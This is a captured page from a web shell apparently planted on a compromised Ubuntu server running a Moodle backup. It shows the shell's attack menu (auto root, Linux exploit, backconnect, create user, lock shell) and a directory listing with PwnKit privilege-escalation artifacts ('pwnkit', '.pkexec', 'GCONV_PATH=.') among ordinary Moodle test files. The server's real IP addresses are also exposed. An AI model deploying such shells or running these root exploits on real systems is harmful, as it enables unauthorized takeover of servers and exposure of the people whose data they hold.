Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
user /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
add_blocks.feature
865
B
-rw-rw-r--
addnewuser.feature
871
B
-rw-rw-r--
behat_user.php
2
KB
-rw-rw-r--
bulk_editenrolment.feature
1.65
KB
-rw-rw-r--
course_preference.feature
1.55
KB
-rw-rw-r--
custom_profile_fields.feature
10.79
KB
-rw-rw-r--
delete_users.feature
3.42
KB
-rw-rw-r--
edit_user_enrolment.feature
6.71
KB
-rw-rw-r--
edit_user_roles.feature
1.88
KB
-rw-rw-r--
edituserpassword.feature
881
B
-rw-rw-r--
enrol_cohort_list.feature
2.68
KB
-rw-rw-r--
filter_idnumber.feature
3.16
KB
-rw-rw-r--
filter_participants.feature
7.86
KB
-rw-rw-r--
filter_participants_showall.fe...
5.83
KB
-rw-rw-r--
name_fields.feature
3.03
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
reset_page.feature
915
B
-rw-rw-r--
set_default_homepage.feature
1.58
KB
-rw-rw-r--
set_email_display.feature
3.25
KB
-rw-rw-r--
table_sorting.feature
3.02
KB
-rw-rw-r--
user_grade_navigation.feature
4.66
KB
-rw-rw-r--
view_full_profile.feature
4.7
KB
-rw-rw-r--
view_participants.feature
18.83
KB
-rw-rw-r--
view_preferences_page.feature
3.35
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : enrol_cohort_list.feature
@core @core_user Feature: Viewing the list of cohorts to enrol in a course In order to ensure we only display the cohorts when applicable As a teacher I should only see the list of cohorts under some circumstances Background: Given the following "users" exist: | username | firstname | lastname | email | | teacher1 | Teacher | 1 | teacher1@example.com | And the following "courses" exist: | fullname | shortname | | Course 1 | C1 | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | @javascript Scenario: Check the teacher does not see the cohorts field without the proper capabilities Given I log in as "admin" And I set the following system permissions of "Teacher" role: | capability | permission | | moodle/cohort:manage | Prohibit | | moodle/cohort:view | Prohibit | And I navigate to "Cohorts" node in "Site administration > Users > Accounts" And I follow "Add new cohort" And I set the following fields to these values: | Name | Test cohort name | | Context | System | | Cohort ID | 1337 | | Description | Test cohort description | And I press "Save changes" And I log out And I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to course participants When I press "Enrol users" Then I should not see "Select cohorts" And I should not see "Enrol selected users and cohorts" @javascript Scenario: Check we show the cohorts field if there are some present Given I log in as "admin" And I navigate to "Cohorts" node in "Site administration > Users > Accounts" And I follow "Add new cohort" And I set the following fields to these values: | Name | Test cohort name | | Context | System | | Cohort ID | 1337 | | Description | Test cohort description | And I press "Save changes" And I log out And I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to course participants When I press "Enrol users" Then I should see "Select cohorts" And I should see "Enrol selected users and cohorts" @javascript Scenario: Check we do not show the cohorts field if there are none present Given I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to course participants When I press "Enrol users" Then I should not see "Select cohorts" And I should not see "Enrol selected users and cohorts"
Close